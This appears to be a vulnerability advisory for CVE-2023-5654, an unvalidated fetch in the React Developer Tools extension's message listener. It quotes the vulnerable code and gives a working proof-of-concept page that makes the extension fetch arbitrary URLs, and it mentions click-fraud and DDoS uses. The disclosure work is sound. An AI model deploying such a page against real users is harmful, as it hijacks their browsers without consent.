Headline
CVE-2023-5654: React Developer Tools v4.27.8 Arbitrary URL Fetch via Malicious Web Page
The React Developer Tools extension registers a message listener with window.addEventListener('message’, <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim’s browser.
Disclosure Status
I have disclosed this to the maintainer, who issued a fix in version 4.28.4
Commits
https://github.com/facebook/react/commit/94d5b5b2bf5204ebd289a113989c0e2c51b626ef https://github.com/facebook/react/pull/27417/commits/c4db7be6b050fd36e3d7e1218d31d6b61f6b007d
Technical Details:
The React Developer Tools extension registers a message listener with window.addEventListener('message’, <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim’s browser.
Because the content of the response is not returned to the malicious webpage, the impact of this issue is limited, i.e, sensitive resources available only to the victim cannot be retrieved. However, this could be used to generate clicks, and therefore revenue, for malicious actors, or be used along with other browsers for a Distributed Denial of Service (DDoS) without the victims’ knowledge or consent.
The code snippet below (shortened for brevity) shows the message listener code from the Content Script extracting the URL from the potentially tainted message received, then using the arbitrary URL directly in a fetch call shortly after.
window.addEventListener('message’, function onMessage({data, source}) { if (source !== window || !data) { return; } switch (data.source) { … case 'react-devtools-extension’: if (data.payload?.type === ‘fetch-file-with-cache’) { const url = data.payload.url; // URL from malicious webpage
...
fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
response \=> {
if (response.ok) {
response
.text()
.then(text \=> resolve(text))
.catch(error \=> reject(null));
} else {
reject(null);
}
},
error \=> reject(null),
);
}
break;
...
PoC
In the proof-of-concept React application below, the standard postMessage() API is used to send a crafted message to trigger the above switch statement when a button is clicked. Note the source attribute in the message is react-devtools-extension and the type is fetch-file-with-cache.
<!DOCTYPE html> <html> <head> <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script> <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script> <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script> </head> <body>
<div id="mydiv"></div>
<script type="text/babel"> function Hello() { return <h1>Hello World!</h1>; }
const container = document.getElementById(‘mydiv’); const root = ReactDOM.createRoot(container); root.render(<Hello />) </script>
<script> function sendBrowserMsg() { let msg = { source: 'react-devtools-extension’, payload: { type: 'fetch-file-with-cache’, url: ‘https://www.google.com’ } } console.log(`Sending msg from browser: ${JSON.stringify(msg)}`); postMessage(msg, “*”); } </script>
<form> <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button> </form>
</body> </html>
In reality, it’s likely that the malicious web page would automatically send messages to the extension without the need for user interaction.
Related news
The React Developer Tools extension registers a message listener with window.addEventListener('message', <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim's browser.